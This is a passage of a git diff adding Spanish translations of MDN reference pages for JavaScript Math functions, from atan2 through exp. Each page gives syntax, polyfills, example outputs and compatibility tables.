+Math.atan2(±0, x);                // ±0 for x &gt; 0.
+Math.atan2(-y, ±0);               // -PI/2 for y &gt; 0.
+Math.atan2(y, ±0);                // PI/2 for y &gt; 0.
+Math.atan2(±y, -Infinity);        // ±PI for finite y &gt; 0.
+Math.atan2(±y, +Infinity);        // ±0 for finite y &gt; 0.
+Math.atan2(±Infinity, x);         // ±PI/2 for finite x.
+Math.atan2(±Infinity, -Infinity); // ±3*PI/4.
+Math.atan2(±Infinity, +Infinity); // ±PI/4.
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.5', 'Math.atan2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.atan2', 'Math.atan2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/atanh/index.html b/files/es/web/javascript/referencia/objetos_globales/math/atanh/index.html
new file mode 100644
index 0000000000..85022b4138
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/atanh/index.html
@@ -0,0 +1,87 @@
+---
+title: Math.atanh()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/atanh
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atanh
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.atanh()</code></strong> nos retorna un arco hiperbólico de un numero, eso es:</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mrow><mo>(</mo><mrow><mo>-</mo><mn>1</mn><mo>,</mo><mn>1</mn></mrow><mo>)</mo></mrow><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="thinmathspace">arctanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tanh</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in \left( -1, 1 \right), \mathtt{\operatorname{Math.atanh}(x)} = \operatorname{arctanh}(x) = \text{ el unico } \; y \; \text{de tal manera que} \; \tanh(y) = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-atanh.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>Math.atanh(<var>x</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><var>x</var></dt>
+ <dd>Un numero.</dd>
+</dl>
+
+<h3 id="Retorna_un_valor">Retorna un valor</h3>
+
+<p>El arco hiperbolico tangible nos otorga un numero.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Por que <code>atanh()</code> es un metodo estatico de <code>Math</code>, tu siempre puedes usar eso como <code>Math.atanh()</code>, se puede usar como un metod de <code>Math</code> objeto que tu creaste (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Polimorfismo">Polimorfismo</h2>
+
+<p>Para <math><semantics><mrow><mrow><mo>|</mo><mi>x</mi><mo>|</mo></mrow><mo>&lt;</mo><mn>1</mn></mrow><annotation encoding="TeX">\left|x\right| &lt; 1</annotation></semantics></math>, tenemos <math><semantics><mrow><mo lspace="0em" rspace="thinmathspace">artanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mo lspace="0em" rspace="0em">ln</mo><mrow><mo>(</mo><mfrac><mrow><mn>1</mn><mo>+</mo><mi>x</mi></mrow><mrow><mn>1</mn><mo>-</mo><mi>x</mi></mrow></mfrac><mo>)</mo></mrow></mrow><annotation encoding="TeX">\operatorname {artanh} (x) = \frac{1}{2}\ln \left( \frac{1 + x}{1 - x} \right)</annotation></semantics></math> por lo que esto puede estar emulado con la siguiente función:</p>
+
+<pre class="brush: js notranslate">Math.atanh = Math.atanh || function(x) {
+  return Math.log((1+x)/(1-x)) / 2;
+};
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Using_Math.atanh">Using <code>Math.atanh()</code></h3>
+
+<pre class="brush: js notranslate">Math.atanh(-2);  // NaN
+Math.atanh(-1);  // -Infinito
+Math.atanh(0);   // 0
+Math.atanh(0.5); // 0.5493061443340548
+Math.atanh(1);   // Infinito
+Math.atanh(2);   // NaN
+</pre>
+
+<p>Para valores mayores a 1 o menores a -1, {{jsxref("NaN")}} retorna.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.atanh', 'Math.atanh')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.atanh")}}</p>
+
+<h2 id="Puedes_leer">Puedes leer</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+ <li>{{jsxref("Math.tanh()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/cbrt/index.html b/files/es/web/javascript/referencia/objetos_globales/math/cbrt/index.html
new file mode 100644
index 0000000000..350bc03054
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/cbrt/index.html
@@ -0,0 +1,96 @@
+---
+title: Math.cbrt()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/cbrt
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cbrt
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.cbrt()</code></strong> nos retorna la raíz del cubo del numero, eso es</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>c</mi><mi>b</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mroot><mi>x</mi><mn>3</mn></mroot><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>3</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{Math.cbrt(x)} = \sqrt[3]{x} = \text{un unico} \; y \; \text{de tal manera que} \; y^3 = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-cbrt.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>Math.cbrt(<var>x</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><var>x</var></dt>
+ <dd>Un numero</dd>
+</dl>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>La raíz cubica del numero proporcionado</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Al <code>cbrt()</code> ser un metodo estatico de <code>Math</code>, tu siempre la puedes usar como <code>Math.cbrt()</code>,un metodo de <code>Math</code> que es un objeto que se crea (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Poliformismo">Poliformismo</h2>
+
+<p>Para <math><semantics><mrow><mi>x</mi><mo>≥</mo><mn>0</mn></mrow><annotation encoding="TeX">x \geq 0</annotation></semantics></math>, tenemos <math><semantics><mrow><mroot><mi>x</mi><mn>3</mn></mroot><mo>=</mo><msup><mi>x</mi><mrow><mn>1</mn><mo>/</mo><mn>3</mn></mrow></msup></mrow><annotation encoding="TeX">\sqrt[3]{x} = x^{1/3}</annotation></semantics></math> esto puede ser emulado con la siguiente función:</p>
+
+<pre class="brush: js notranslate">if (!Math.cbrt) {
+  Math.cbrt = (function(pow) {
+    return function cbrt(x){
+      // Esto asegura que numeros negativos sigan siendo negativos
+      return x &lt; 0 ? -pow(-x, 1/3) : pow(x, 1/3);
+    };
+  })(Math.pow); // Localiza Math.pow para una mayor eficiencía
+}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.cbrt">Usando Math.cbrt()</h3>
+
+<pre class="brush: js notranslate">Math.cbrt(NaN); // NaN
+Math.cbrt(-1); // -1
+Math.cbrt(-0); // -0
+Math.cbrt(-Infinity); // -Infinito
+Math.cbrt(0); // 0
+Math.cbrt(1); // 1
+Math.cbrt(Infinity); // Infinito
+Math.cbrt(null); // 0
+Math.cbrt(2);  // 1.2599210498948732
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.cbrt', 'Math.cbrt')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></div>
+
+<div class="hidden">
+
+</div>
+
+<p><a href="https://github.com/mdn/browser-compat-data">and send us a pull request.</a></p>
+
+<p><a href="https://github.com/mdn/browser-compat-data">{{Compat("javascript.builtins.Math.cbrt")}}</a></p>
+
+<h2 id="Puedes_leer">Puedes leer</h2>
+
+<ul>
+ <li><a href="https://github.com/mdn/browser-compat-data">{{jsxref("Math.pow()")}}</a></li>
+ <li><a href="https://github.com/mdn/browser-compat-data">{{jsxref("Math.sqrt()")}}</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/ceil/index.html b/files/es/web/javascript/referencia/objetos_globales/math/ceil/index.html
new file mode 100644
index 0000000000..52b43cd3a2
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/ceil/index.html
@@ -0,0 +1,166 @@
+---
+title: Math.ceil()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/ceil
+tags:
+  - JavaScript
+  - Math
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.ceil()</code></strong> devuelve el entero mayor o igual más próximo a un número dado.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ceil.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.ceil(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El número entero mayor o igual más próximo que el número dado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Como <code>ceil()</code> es un método estático de <code>Math</code>, siempre debe usarlo como <code>Math.ceil()</code>, en lugar de como un método de un objeto que ha creado <code>Math</code> (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_Math.ceil()">Utilizando <code>Math.ceil()</code></h3>
+
+<p>El siguiente ejemplo muestra el uso de <code>Math.ceil()</code>.</p>
+
+<pre class="brush: js">Math.ceil(.95);    // 1
+Math.ceil(4);      // 4
+Math.ceil(7.004);  // 8
+Math.ceil(-0.95);  // -0
+Math.ceil(-4);     // -4
+Math.ceil(-7.004); // -7
+</pre>
+
+<h3 id="Ajuste_decimal">Ajuste decimal</h3>
+
+<pre class="brush: js">// Closure
+(function() {
+  /**
+   * Ajuste decimal de un número.
+   *
+   * @param {String}  type  El tipo de ajuste.
+   * @param {Number}  value El número.
+   * @param {Integer} exp   El exponente (El logaritmo de ajuste en base 10).
+   * @returns {Number} El valor ajustado.
+   */
+  function decimalAdjust(type, value, exp) {
+    // Si exp es undefined o cero...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // Si el valor no es un número o exp no es un entero...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Shift
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Shift back
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Decimal round
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Decimal floor
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Decimal ceil
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Round
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+// Floor
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Ceil
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="Espicificaciones">Espicificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.6', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("javascript.builtins.Math.ceil")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/cos/index.html b/files/es/web/javascript/referencia/objetos_globales/math/cos/index.html
new file mode 100644
index 0000000000..82a0793769
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/cos/index.html
@@ -0,0 +1,74 @@
+---
+title: Math.cos()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/cos
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/cos
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La función estática <strong><code>Math.cos()</code></strong> devuelve el <a href="https://es.wikipedia.org/wiki/Coseno">coseno</a> del ángulo especificado, que debe ser especificado en <a href="https://es.wikipedia.org/wiki/Radi%C3%A1n" title="radians">radianes</a>. Este valor es </span><math style="display: inline;"> <mstyle displaystyle="true"> <mfrac> <msub> <mrow> <mtext>longitud</mtext> </mrow> <mrow> <mrow> <mtext>adyacente</mtext> </mrow> </mrow> </msub> <msub> <mrow> <mtext>longitud</mtext> </mrow> <mrow> <mrow> <mtext>hipotenusa</mtext> </mrow> </mrow> </msub> </mfrac> </mstyle> </math>.<span style="display: none;"> </span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-cos.html")}}</div>
+
+<p class="hidden">El código fuente de este ejemplo interactivo está almacenado en un repositorio de GitHub. Si te gustaría contribuir con el proyecto de ejemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos un pull request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>Math.cos(<var>x</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>El ángulo en radianes por el cual devolverá el coseno.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El coseno del número dado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>Math.cos()</code> retorna un valor numérico entre -1 y 1, que representa el coseno del ángulo.</p>
+
+<p>Debido a que <code>cos()</code> es un método estático de <code>Math</code>, siempre debes utilizarlo como <code>Math.cos()</code>, en lugar de como un método de un objeto <code>Math</code> que hayas creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.cos">Usando <code>Math.cos()</code></h3>
+
+<pre class="brush: js notranslate">Math.cos(0);           // 1
+Math.cos(1);           // 0.5403023058681398
+
+Math.cos(Math.PI);     // -1
+Math.cos(2 * Math.PI); // 1
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.cos', 'Math.cos')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si te gustaría contribuir a los datos, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.cos")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/e/index.html b/files/es/web/javascript/referencia/objetos_globales/math/e/index.html
new file mode 100644
index 0000000000..2fdc92d125
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/e/index.html
@@ -0,0 +1,83 @@
+---
+title: Math.E
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/E
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/E
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>Math.E</strong></code> representa la base de los logaritmos naturales, e, aproximadamente 2.718.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.E</mi></mstyle><mo>=</mo><mi>e</mi><mo>≈</mo><mn>2.718</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.E}} = e \approx 2.718</annotation></semantics></math></p>
+
+<p>{{EmbedInteractiveExample("pages/js/math-e.html")}}</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Porque <code>E</code> es una propiedad estática de <code>Math</code>, siempre usted lo usa como <code>Math.E</code>, en lugar de como una propiedad de un objeto <code>Math</code> creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_Math.E" name="Example:_Using_Math.E">Utilizando <code>Math.E</code></h3>
+
+<p>La función siguiente devuelve e:</p>
+
+<pre class="brush:js">function getNapier() {
+   return Math.E
+}
+
+getNapier(); // 2.718281828459045</pre>
+
+<p> </p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.1', 'Math.E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.e', 'Math.E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.e', 'Math.E')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("javascript.builtins.Math.E")}}</p>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/exp/index.html b/files/es/web/javascript/referencia/objetos_globales/math/exp/index.html
new file mode 100644
index 0000000000..ca60758600
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/exp/index.html
@@ -0,0 +1,136 @@
+---
+title: Math.exp()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/exp
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp
+---
+<div>{{JSRef}}</div>
+
+<div>La función <strong>Math.exp()</strong> devuelve <code>e<sup>x</sup></code>, donde <code>x</code> es el argumento, y <code>e</code> es {{jsxref("Math.E", "El número de Euler (también conocido como la constante de Napier)", "", 1)}}, la base de los algoritmos naturales.</div>
+
+<div> </div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.exp(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un número represetando <code>e<sup>x</sup></code>, donde <code>e</code> es {{jsxref("Math.E", "número de Euler", "", 1)}} y <code>x</code> es el argumento.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Porque <code>exp()</code> es un método estático de <code>Math</code>, siempre úsalo como <code>Math.exp()</code>, en vez de un método de un objeto <code>Math</code> que hayas creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.exp()">Usando <code>Math.exp()</code></h3>
+
+<pre class="brush: js">Math.exp(-1); // 0.36787944117144233
+Math.exp(0);  // 1
+Math.exp(1);  // 2.718281828459045
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>
+    <p>Definición inicial. Implementado en JavaScript 1.0.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.8', 'Math.exp')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.exp', 'Math.exp')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.exp', 'Math.exp')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Math.E")}}</li>
+ <li>{{jsxref("Math.expm1()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/expm1/index.html b/files/es/web/javascript/referencia/objetos_globales/math/expm1/index.html
new file mode 100644
index 0000000000..d8679d9230
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/expm1/index.html
@@ -0,0 +1,89 @@
+---
+title: Math.expm1()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/expm1
+tags:
